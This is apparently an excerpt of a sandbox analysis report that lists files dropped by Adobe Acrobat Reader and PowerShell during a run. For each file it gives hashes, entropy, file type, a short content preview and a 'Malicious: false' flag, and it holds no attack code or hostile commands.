SHA1:	F4796FBAD7FBFB9E98D7994391C3A836C92E154C
SHA-256:	44910D9B4765E2589B3A70BA0A146E9599EA6DB74E80A1B999A164FD9CBDB504
SHA-512:	772A316A30CD077752F5BE27C1DA54D63AC5DB2EB6AB1658D2B52EF368D58F23364ACCBA9B900BFE51CA8079C28F7CA53379EB8078BCFFB7FF1D175982B4FE4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2744548672924845
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJf21rPeUkwRe9:YvXKX010vR/ZwHAAxG+16Ukee9
MD5:	97A256F436120E9DD65EEB3200A1965B
SHA1:	49AD0225C009DEAB18B0F7A9236B01009E044FBE
SHA-256:	9AF52B942F9CFA101FAFBEB9FF08000B8983487A547AA1258A9AA0734344028D
SHA-512:	A1005086FCBFD1D0D1FE59CE90F9C4BD62C5EF6A24D926B88AEDE44FA8C957389B9607C5C2FAFB0E01385EC08B3DD3D67253537173CFB1CE83FA242A36025B38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669844688050968
Encrypted:	false
SSDEEP:	24:Yv6XRJhDamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:YvwJhzBgkDMUJUAh8cvM3
MD5:	0C82C635F7FAA41F4D34F0A300C2F1D2
SHA1:	53010952845A1FBEC65995E23067E84A666CF0C4
SHA-256:	555BCE09E84926FAF9E39F9033647ACECEC71F4EF60ADB8C9E62AFD4CEF9219A
SHA-512:	761B535B2B567C976BD7172426FC9FC39827DF1ECBF5FE55E982FD3E68BAA0A071B81EEAD8707F18092B792653003B3DC2F9D48104D6FF7921AE523F8019D4CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25132273178204
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJfshHHrPeUkwRe9:YvXKX010vR/ZwHAAxGUUUkee9
MD5:	E5FCA9ED915CA64D5F22D0B8F11BB782
SHA1:	1E756D1EB51555B867E9224AAD0C2A62D9D920DE
SHA-256:	6326C240D330133E1E44B50776E6EDE491AA17EB51142C7AAF44A3002D239F4F
SHA-512:	E7ECC85C67F6985D8AC1C4C50BC03F3D26DA03D2F201786BFBB29662E235456F5AAB1D55B86C73A9AFC0D05524039D5DC890DE63C76AE99BC80FCB1C7A75D11D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267115994665876
Encrypted:	false
SSDEEP:	6:YEQXJ2HX01Y2yvB3/dVlPIHAR0Y0QPoAvJTqgFCrPeUkwRe9:YvXKX010vR/ZwHAAxGTq16Ukee9
MD5:	40768C27F1E5F746453772BE3609B604
SHA1:	7748E4783A0FDCA6C021D3C238DDCE06C3DF4069
SHA-256:	27F009B0F9BFEB4109FB4252370E77C12274AB9B00386620ACDE207F365560A0
SHA-512:	8CBFE7AEF1A70D2017B9E3E82B9A233A7AD2308C8CD12651043ACBEF8E57BC4ED1EEB12C3F469CB9382D3613602DAB8E98A951B9273D3B8FF06B5B4FEBCC21D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b1afb35-97a5-4703-937c-ef772e225870","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736710914351,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135725045332203
Encrypted:	false
SSDEEP:	24:YCT1ya1XSayFD0aIjf7M0dNqjnk3gK2j0SqrgUAmMi2V2LSECbg9+jCJSsx5gOH8:YCTxhjwFFmRAmX4uAg9+eJSmeOHE9r
MD5:	6C90DD6BFA623329C567595EF8E827E7
SHA1:	F010205401FADC87B80228917941221F6D060F5F
SHA-256:	CBC0E0BEE979A3FA468518A9CB93D6C1941C9E71267084691718ECA5C7B4F555
SHA-512:	2492DAB0074AE81C5FFFA7331D73DDFB9C2CE35E80B42093C8BE804A95518A3C775F7875624404B04E075F9BF931242EA3C0A30FA7A54AC563965491040DF54A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"53d8c552228573d55bd461ca10868235","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736535788000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"296fee079cf2486ce3f9f46e7f25ca79","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736535788000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6ccad645261fe164c7e0afba7e4f2aa9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736535788000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6f006d805ad0335194116561e363edef","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736535788000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b9184c3922ef1a3a66f3adaf665874c3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736535788000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"605131d023441231bd61d10ffb86cbcf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3184165587004404
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahuNRypilIENB:lNVms9WfMwbPahuNRFNB
MD5:	C04978FA49CC848EC604F0CE7E3103FC
SHA1:	4AA303FF726D9021D757DF9308BEEB5245700114
SHA-256:	201F64FA3EA90903CDD2FA0FD3071CE8C420A6E8B079E83A880A0D480D4D7B5F
SHA-512:	F297EF1E59D8C7C281D4AD61036F5F94A855BEDA4A8D0A1CAE4FC169233587BDE5F2F7B5AE1CBC83B657DEFBB92F854AD1104E86F8FBCC5226E5E299271C3AB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7799092830380825
Encrypted:	false
SSDEEP:	48:7MjWR1CPmPbPahuN0ypilIPqFl2GL7msH:7WWfMwbPahuN02KVmsH
MD5:	A9B34DF06B59B2F75C938FA052483242
SHA1:	0CC29B9992165BB9717294AA6F45CC56C83E1E09
SHA-256:	7AFC515A006A98860C6870E0327BCDF220373C6FECFA32F69AE71B45A8819EA3
SHA-512:	585ADB60083327750047C9969F987464BFC75A2172CF62B9DD1FEE4BEBF8272BAB3B687074A81270553F7CE83D9AA95D88611033AC602698D3A4D7C96BF07F9F
Malicious:	false
Preview:	.... .c......O...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgBECuJBcOlZw8O+Mb1s584WHvPz/Yyu:6a6TZ44ADEBvuJmy3OpJ0+K
MD5:	A481A275CCC330F9A1910209FDEE2BFA
SHA1:	D8CFBC9FFC48DE5CFAE63BA9E755FB34762F7787
SHA-256:	3ECA6AA50B23A8B4EAE95AE573D4FBA213DD56B1DC14F389F16449A74C5ECCDC
SHA-512:	1DFBC52A96648706972CBF441C9B78890B891DB9F255677158462F966B0E8A55880F9F159772A7B439700BBA5991D3B94F0D08C950CC521DBA6AE48319D08233
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI8957d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEREoll:Qw946cPbiOxDlbYnuRK+bD+4l
MD5:	C7BE70EE7CCC27276A5FA209C81ABB85
SHA1:	F0334A9471C9353A8231819E2749D8B763A9A5E4
SHA-256:	29A20F6151427EE1D90373E8249CFCF85B39211782FC240F6F0342FF21E19349
SHA-512:	538109E3F4127A38CE61F7A961C3320B7AE25C272A0873DFC5CA02CD496355BDA48E06EB0B0892D64A47C10D1EE174A975C71449C3BB8F42B564F91B577E9B62
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.0.3.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0yp4eua.u1g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tj5qbtms.pfn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-03-01-387.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.355819449996685
Encrypted:	false
SSDEEP:	384:UeMXEiB/GJM+BKVn66/4Xl4JV2nraxROE74s6Siw0m7R+G96ytVHczcNITUqLKC8:s5d
MD5:	CD362D57F60AB0C86543C94A5F1F6361
SHA1:	C4CC6798D83EE1D39443BAD8C594C9CC2A425D30
SHA-256:	5450D69A7701C246B6A22C5EEAA592BA884D2987032A87D9505A45958A6B162C
SHA-512:	EDCD9C9F145D99387974C7375538A4019CD111E6E1C38395F65DABC79B35ECE89F5D6C3072247FA57341D1043AA0B894127B28C84D77B0502F11E16C0F020A98
Malicious:	false
Preview:	SessionID=cf329f18-e7f7-4aaf-8c84-406d79fa24a4.1736535781403 Timestamp=2025-01-10T14:03:01:403-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cf329f18-e7f7-4aaf-8c84-406d79fa24a4.1736535781403 Timestamp=2025-01-10T14:03:01:404-0500 ThreadID=7492 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cf329f18-e7f7-4aaf-8c84-406d79fa24a4.1736535781403 Timestamp=2025-01-10T14:03:01:404-0500 ThreadID=7492 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cf329f18-e7f7-4aaf-8c84-406d79fa24a4.1736535781403 Timestamp=2025-01-10T14:03:01:404-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cf329f18-e7f7-4aaf-8c84-406d79fa24a4.1736535781403 Timestamp=2025-01-10T14:03:01:404-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398419034058319
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbBucbUILbcbh:ceo4+rsCvFLo
MD5:	0C1421CB23FCC5DCB6EC0BAC5AB3D349
SHA1:	19A94F68D3626600390881C66C90274258C3D901
SHA-256:	58EF6808B8F6318CDA5D587D8097CD832F3B8147345DAC053D15BC0FA1D9FEBD
SHA-512:	33331E3B856BF215CB4C33F483AB762053898EE3408791A2883741198D2B1E63096ACA803908BD1A538911110198234B7E090B4452B9A91D3079D49C478962A0
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\608475e7-0f95-4385-9c40-dbc7ca283e70.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b08c765f-8563-438a-813b-ca979ffd47f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d3b8da81-3916-409d-bb2a-34aeead620f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
